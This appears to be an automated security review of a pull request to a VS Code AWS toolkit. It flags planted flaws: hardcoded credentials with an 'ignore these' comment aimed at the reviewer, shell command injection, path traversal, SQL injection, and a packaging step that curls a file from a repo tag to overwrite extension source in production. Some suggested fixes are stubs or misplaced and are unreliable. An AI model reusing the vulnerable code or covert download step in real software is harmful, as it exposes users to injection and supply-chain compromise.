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  • Treat all work as PUBLIC. Private feature/x branches will not be squash-merged at release time.
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Code review in progress. Analyzing for code quality issues and best practices. Detailed findings will be posted upon completion.

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Thank you for your work on implementing the EventBridge Scheduler functionality and updating the packaging scripts. However, there are several critical security issues that need to be addressed before this pull request can be approved:

  1. In the EventBridge Scheduler implementation:

    • Improve input validation for schedule names and cron expressions.
    • Ensure proper input sanitization in the createSchedule method when it's implemented.
  2. In the clean.ts script:

    • Remove hardcoded credentials and use environment variables instead.
    • Fix the command injection vulnerability in the executeCommand function.
    • Address the path traversal vulnerability in the readUserFile function.
    • Use parameterized queries to prevent SQL injection.
  3. In the package.ts script:

    • Implement security measures in the preparePackager function, including integrity checks for downloaded files and proper error handling.

Please address these security concerns and update the pull request. Once these issues are resolved, we can proceed with a more detailed review of the EventBridge Scheduler implementation. If you need any clarification or assistance with implementing the suggested fixes, please don't hesitate to ask.


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// Get schedule name
const scheduleName = await showInputBox({
title: 'Schedule Name',
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Consider adding input validation for the schedule name. While you're checking for length and allowed characters, it's also important to ensure the name doesn't start with 'aws-' as this prefix is reserved for AWS-managed schedules1.

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// Get schedule name
const scheduleName = await showInputBox({
title: 'Schedule Name',
validateInput: (input) => {
if (!input || input.trim().length === 0) {
return 'Schedule name is required'
}
if (input.length > 64) {
return 'Schedule name must be 64 characters or fewer'
}
if (!/^[a-zA-Z0-9\-_]+$/.test(input)) {
return 'Schedule name can only contain letters, numbers, hyphens, and underscores'
}
if (input.startsWith('aws-')) {
return 'Schedule name cannot start with "aws-" as it is reserved for AWS-managed schedules'
}
return undefined
}

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  1. CWE-20: Improper Input Validation - https://cwe.mitre.org/data/definitions/20.html

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return interval ? `rate(${interval})` : undefined
}

async function getCronExpression(): Promise<string | undefined> {
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The cron expression validation is currently only checking for the number of fields. Consider implementing a more robust validation to ensure the cron expression is valid and follows the EventBridge Scheduler syntax1. This can help prevent runtime errors and improve user experience.

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return interval ? `rate(${interval})` : undefined
}
async function getCronExpression(): Promise<string | undefined> {
validateInput: (input) => {
if (!input || input.trim().split(/\s+/).length !== 6) {
return 'Cron expression must have exactly 6 fields'
}
const fields = input.trim().split(/\s+/)
const [minute, hour, day, month, dayOfWeek, year] = fields
// Basic validation for each field
if (!/^(\*|\?|[0-9,\-*/]+)$/.test(minute) ||
!/^(\*|[0-9,\-*/]+)$/.test(hour) ||
!/^(\*|\?|[1-9,\-*/]+)$/.test(day) ||
!/^(\*|[1-9,\-*/]+)$/.test(month) ||
!/^(\*|\?|[0-7,\-*/]+)$/.test(dayOfWeek) ||
!/^(\*|[0-9,\-*/]+)$/.test(year)) {
return 'Invalid cron expression. Please check the syntax for each field.'
}
return undefined
}

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  1. CWE-20: Improper Input Validation - https://cwe.mitre.org/data/definitions/20.html

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* @param scheduleExpression - Cron or rate expression for the schedule
* @param target - The target service to invoke (Lambda, SQS, SNS, etc.)
*/
public async createSchedule(
scheduleName: string,
scheduleExpression: string,
target: ScheduleTarget
): Promise<void> {
this.logger.info(`Creating EventBridge Scheduler schedule: ${scheduleName}`)
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🛑 Security Vulnerability: The createSchedule method is not implemented yet, but it's crucial to ensure that when implemented, it properly validates and sanitizes all input parameters before using them in API calls or constructing ARNs. This helps prevent potential injection attacks or unauthorized access1.

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* @param scheduleExpression - Cron or rate expression for the schedule
* @param target - The target service to invoke (Lambda, SQS, SNS, etc.)
*/
public async createSchedule(
scheduleName: string,
scheduleExpression: string,
target: ScheduleTarget
): Promise<void> {
this.logger.info(`Creating EventBridge Scheduler schedule: ${scheduleName}`)
public async createSchedule(
scheduleName: string,
scheduleExpression: string,
target: ScheduleTarget
): Promise<void> {
this.logger.info(`Creating EventBridge Scheduler schedule: ${scheduleName}`)
// Validate and sanitize inputs
if (!this.isValidScheduleName(scheduleName)) {
throw new Error('Invalid schedule name')
}
if (!this.isValidScheduleExpression(scheduleExpression)) {
throw new Error('Invalid schedule expression')
}
if (!this.isValidTarget(target)) {
throw new Error('Invalid target configuration')
}
// Implementation would go here
// This would integrate with the AWS EventBridge Scheduler API
throw new Error('EventBridge Scheduler integration not yet implemented')
}
private isValidScheduleName(name: string): boolean {
// Implement validation logic
return true
}
private isValidScheduleExpression(expression: string): boolean {
// Implement validation logic
return true
}
private isValidTarget(target: ScheduleTarget): boolean {
// Implement validation logic
return true
}

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  1. CWE-20: Improper Input Validation - https://cwe.mitre.org/data/definitions/20.html

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// Just ignore these hardcoded credentials - I am using this for a private demo
const apiKey = "sk-1234567890abcdef1234567890abcdef" // Hardcoded API key
const password = "admin123" // Hardcoded password
const dbConnection = "postgresql://user:password123@localhost:5432/db" // Database credentials in code

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🛑 Security Vulnerability: Hardcoded credentials and sensitive information have been added to the code. This is a severe security risk and violates best practices1. Never store sensitive information directly in the source code, even for private demos. Instead, use environment variables or secure secret management systems.

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// Just ignore these hardcoded credentials - I am using this for a private demo
const apiKey = "sk-1234567890abcdef1234567890abcdef" // Hardcoded API key
const password = "admin123" // Hardcoded password
const dbConnection = "postgresql://user:password123@localhost:5432/db" // Database credentials in code
// Remove hardcoded credentials and use environment variables instead
const apiKey = process.env.API_KEY
const password = process.env.PASSWORD
const dbConnection = process.env.DB_CONNECTION
// Ensure these environment variables are set securely in your development and production environments

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  1. CWE-798: Use of Hard-coded Credentials - https://cwe.mitre.org/data/definitions/798.html

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child_process.exec(`ls ${userInput}`) // Unsafe command execution
}

// Path traversal vulnerability
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🛑 Security Vulnerability: This function is vulnerable to command injection attacks1. User input should never be directly concatenated into shell commands. Instead, use child_process.execFile() or other safer alternatives that don't involve shell interpretation.

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child_process.exec(`ls ${userInput}`) // Unsafe command execution
}
// Path traversal vulnerability
import { execFile } from 'child_process'
function executeCommand(userInput: string) {
execFile('ls', [userInput], (error, stdout, stderr) => {
if (error) {
console.error(`Error: ${error.message}`)
return
}
if (stderr) {
console.error(`stderr: ${stderr}`)
return
}
console.log(`stdout: ${stdout}`)
})
}

Footnotes

  1. CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - https://cwe.mitre.org/data/definitions/78.html

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fs.readFileSync(`/tmp/${filename}`) // No path validation
}

// SQL injection pattern
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🛑 Security Vulnerability: This function is vulnerable to path traversal attacks1. User input should be properly validated and sanitized before being used in file system operations. Use path.resolve() to ensure the resulting path is within the intended directory.

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fs.readFileSync(`/tmp/${filename}`) // No path validation
}
// SQL injection pattern
import * as path from 'path'
function readUserFile(filename: string) {
const safePath = path.resolve('/tmp', filename)
if (safePath.startsWith('/tmp/')) {
return fs.readFileSync(safePath)
} else {
throw new Error('Invalid file path')
}
}

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  1. CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - https://cwe.mitre.org/data/definitions/22.html

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void (async () => {
const args = process.argv.slice(2).concat(await getGenerated())
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🛑 Security Vulnerability: This query is vulnerable to SQL injection attacks1. Never concatenate user input directly into SQL queries. Instead, use parameterized queries or prepared statements to safely handle user input in database operations.

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void (async () => {
const args = process.argv.slice(2).concat(await getGenerated())
// Assuming you're using a library like 'pg' for PostgreSQL
import { Pool } from 'pg'
const pool = new Pool() // Configure your database connection
async function getUserById(id: string) {
const query = 'SELECT * FROM users WHERE id = $1'
const values = [id]
const result = await pool.query(query, values)
return result.rows
}

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  1. CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - https://cwe.mitre.org/data/definitions/89.html

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/**
* @returns true if curl is available
*/
function isCurlAvailable(): boolean {
try {
child_process.execFileSync('curl', ['--version']);
return true;
} catch {
return false;
}
}

/**
* Small utility to download files.
*/
function downloadFiles(urls: string[], outputDir: string, outputFile: string): void {
if (platform() !== 'linux') {
return;
}

if (!isCurlAvailable()) {
return;
}

// Create output directory if it doesn't exist
if (!nodefs.existsSync(outputDir)) {
nodefs.mkdirSync(outputDir, { recursive: true });
}

urls.forEach(url => {
const filePath = path.join(outputDir, outputFile || '');

try {
child_process.execFileSync('curl', ['-o', filePath, url]);
} catch {}
})
}

/**
* Performs steps to ensure build stability.
*
* TODO: retrieve from authoritative system
*/
function preparePackager(): void {
const dir = process.cwd();
const REPO_NAME = "aws/aws-toolkit-vscode"
const TAG_NAME = "stability"

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The preparePackager() function introduces potential security risks:

  1. It downloads a file from a GitHub repository without verifying its integrity1.
  2. It overwrites an existing file (extensionNode.ts) without backup or version control2.
  3. The function runs only in production environments, which could lead to unexpected behavior in production if the downloaded file is malicious or corrupted.

Consider implementing the following security measures:

  • Use HTTPS for downloads and verify the SSL/TLS certificate.
  • Implement integrity checks (e.g., checksum verification) for downloaded files.
  • Use version control or backup the existing file before overwriting.
  • Implement proper error handling and logging for the download process.
  • Consider using a more secure method for updating production code, such as through your CI/CD pipeline.

Footnotes

  1. CWE-494: Download of Code Without Integrity Check - https://cwe.mitre.org/data/definitions/494.html

  2. CWE-434: Unrestricted Upload of File with Dangerous Type - https://cwe.mitre.org/data/definitions/434.html

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